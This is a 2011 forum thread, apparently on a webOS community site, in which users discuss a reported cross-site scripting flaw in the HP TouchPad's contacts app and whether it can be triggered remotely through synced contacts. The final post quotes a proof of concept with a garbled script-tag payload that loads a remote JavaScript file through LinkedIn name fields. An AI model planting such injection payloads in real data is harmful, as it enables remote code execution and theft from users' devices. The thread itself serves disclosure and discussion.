Results 1 to 17 of 17
  1.    #1  
    Hi all,

    FYI..Please use the link to read the rest of this article.

    Take care,

    Jay

    Researcher Demonstrates HP TouchPad, Smartphone Hack
    Mobile operating system platform vulnerable to XSS, cross-site request forgery
    Jul 05, 2011 | 04:59 PM |

    By Kelly Jackson Higgins

    http://www.darkreading.com/insider-t...hone-hack.html

    A researcher discovered a zero-day flaw in HP's new TouchPad that lets an attacker inject code into the Contacts application in order to steal information from the device or to build a botnet.
    Please Support Research into Fibromyalgia, Chronic Pain and Spinal Injuries. If You Suffer from These, Consider Joining or Better Yet Forming a Support Group. No One Should Suffer from the Burden of Chronic Pain, Jay M. S. Founder, Leesburg Fibromyalgia/Resources Group
  2. #2  
    Ouch. Hope HP can get this stuff fixed, and I'd love to see it in a timely manner instead of in the coming months. =P But We'll see.
  3. #3  
    so someone has to have physical access to the tp or get you to import a bogus contact? is that how that works?
    Felipe
    On the road to 5,000 posts
    Life is what happens between Firmware releases.
  4. #4  
    That pretty much asssures an update ASAP. I mean its worthless to enterprise if it's not safe.
  5. #5  
    Quote Originally Posted by Felipe View Post
    so someone has to have physical access to the tp or get you to import a bogus contact? is that how that works?
    I didn't read that, where did you get that info?
  6. #6  
    Quote Originally Posted by clevin View Post
    I didn't read that, where did you get that info?
    in the video, the daughter type in some code (not that he showed her typing) in the contacts.
    Felipe
    On the road to 5,000 posts
    Life is what happens between Firmware releases.
  7. #7  
    Quote Originally Posted by Felipe View Post
    in the video, the daughter type in some code (not that he showed her typing) in the contacts.
    interesting, its probably true.

    Still, you know the annual hacking competition against all browsers (Pwn2Own)? physical access is mostly needed, and so far all browser vendors actively fix the problem when discovered.

    It should be fixed.
    Last edited by clevin; 07/05/2011 at 08:19 PM.
  8. #8  
    Quote Originally Posted by Felipe View Post
    in the video, the daughter type in some code (not that he showed her typing) in the contacts.
    I haven' heard the details, but if it dies require physical access, that would explain why HP has ignored it. Anybody have any information that the necessary code can actually be set without a users knowledge?
  9. #9  
    yes they should fix it.
    Felipe
    On the road to 5,000 posts
    Life is what happens between Firmware releases.
  10. dsei's Avatar
    Posts
    194 Posts
    Global Posts
    196 Global Posts
    #10  
    No physical access is not required. What the researcher demonstrated was that certain fields in the contacts app did not do any form of input validation. What this means is that the user can put in any string of characters, including javascript code, and webOS will happily execute it all. Since apps are essentially just HTML and javascript, this allows the "inputted" string to do just about anything an app can do, even interact with the service bus API.

    The caveat with the example is that the webOS user needs to have a contact linked through Synergy that has this malicious code in it. The likelihood of this happening is probably small.

    Regardless, for a company (Palm) that based its entire existence on the web, it seems very negligent to have these issues even exist. Input validation is web security 101 and there is no reason why it shouldn't be fully baked in to the framework.
  11. #11  
    Wait... contacts app code injection? I thought this happened before with 1.4.
    Palm IIIc -> Sony CLIÉ T650C -> Sony TJ-37 -> Palm TX -> Palm Centro -> Palm Pre Bell -> Palm Pre Plus Bell/Verizon Hybrid -> HP Veer -> HP Pre 3 NA -> BlackBerry Classic -> BlackBerry Priv

    It's a Late Goodbye, such a Late Goodbye.

    Need OEM Palm Pre parts? See here
  12.    #12  
    Hi all,

    I was amazed when I read the article, that's why I posted it.

    Take care,

    Jay
    Please Support Research into Fibromyalgia, Chronic Pain and Spinal Injuries. If You Suffer from These, Consider Joining or Better Yet Forming a Support Group. No One Should Suffer from the Burden of Chronic Pain, Jay M. S. Founder, Leesburg Fibromyalgia/Resources Group
  13. #13  
    Well, I only see a < marquee></ marquee> HTML tag "injected" in the name (or company) field... that uses HTML for showing the data formatted.

    That's far from a security risk, but let's wait and see if it goes beyond that and it's a true security risk.
    Newness Developments apps:

  14. #14  
    I just read about this in the WebOSRoundUp article but thanks for posting the original article. This is a major problem and if HP wants comprate America to accept this as a viable business phone then holes like this need to be closed pronto.
    "Life is Hard... it's harder if your stupid"
    - John Wayne
  15. #15  
    Quote Originally Posted by dsei View Post
    No physical access is not required. What the researcher demonstrated was that certain fields in the contacts app did not do any form of input validation. What this means is that the user can put in any string of characters, including javascript code, and webOS will happily execute it all. Since apps are essentially just HTML and javascript, this allows the "inputted" string to do just about anything an app can do, even interact with the service bus API.

    The caveat with the example is that the webOS user needs to have a contact linked through Synergy that has this malicious code in it. The likelihood of this happening is probably small.

    Regardless, for a company (Palm) that based its entire existence on the web, it seems very negligent to have these issues even exist. Input validation is web security 101 and there is no reason why it shouldn't be fully baked in to the framework.
    Has it been verified that the data can be "input" through synchronization though?

    I other words, the person demonstrating it should have been able to input that malicious code into the company field on another machine, and received it without typing anything into the field on the TouchPad.
  16. #16  
    Quote Originally Posted by ToniCipriani View Post
    Wait... contacts app code injection? I thought this happened before with 1.4.
    It did, and they fixed that.

    This demonstration doesn't prove that code can be injected. It only proves that it can be typed directly.

    Not saying that anything has been disproven either though, but I do know that some odd characters that are input into my Google contact information never makes it back to the Pre (or TouchPad now).

    I'm still skeptical.
  17. dsei's Avatar
    Posts
    194 Posts
    Global Posts
    196 Global Posts
    #17  
    Quote Originally Posted by hparsons View Post
    Has it been verified that the data can be "input" through synchronization though?

    I other words, the person demonstrating it should have been able to input that malicious code into the company field on another machine, and received it without typing anything into the field on the TouchPad.
    Good point. He states this is possible through synergy from his proof of concept write up. I haven't had time to actually test this myself yet so I'm going completely off his word.

    FYI, here's a snippet from the PoC:

    This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of HP webOS 3.0. Authentication is not required to exploit this vulnerability.

    The specific flaw exists within the contacts application. When handling the fist name and/or last name from an imported contact, malicious injected HTML/JvaScript code renders, which allows an attacker to inject arbitrary code into the contacts application. This can be abused by an attacker to perform a cross-site scripting attack on the device.

    The ability for an attacker to execute arbitrary code can be demonstrated by the following proof of concept.

    Attack Vector:
    Inject the javascript code into the contact information within linkedin to get an external JavaScript file to execute. The first name and Last name fields concatinate within webOS, so the character limit of 20 chars per name entry imposed by linkedin can be extended to 40 characters.

    <script src=URL/payload.jsjsjs&$gt$;&$lt$;/$script$&$gt$;

    Inject XSS code to source in a remote JavaScript file which will execute the malicious payload.

Posting Permissions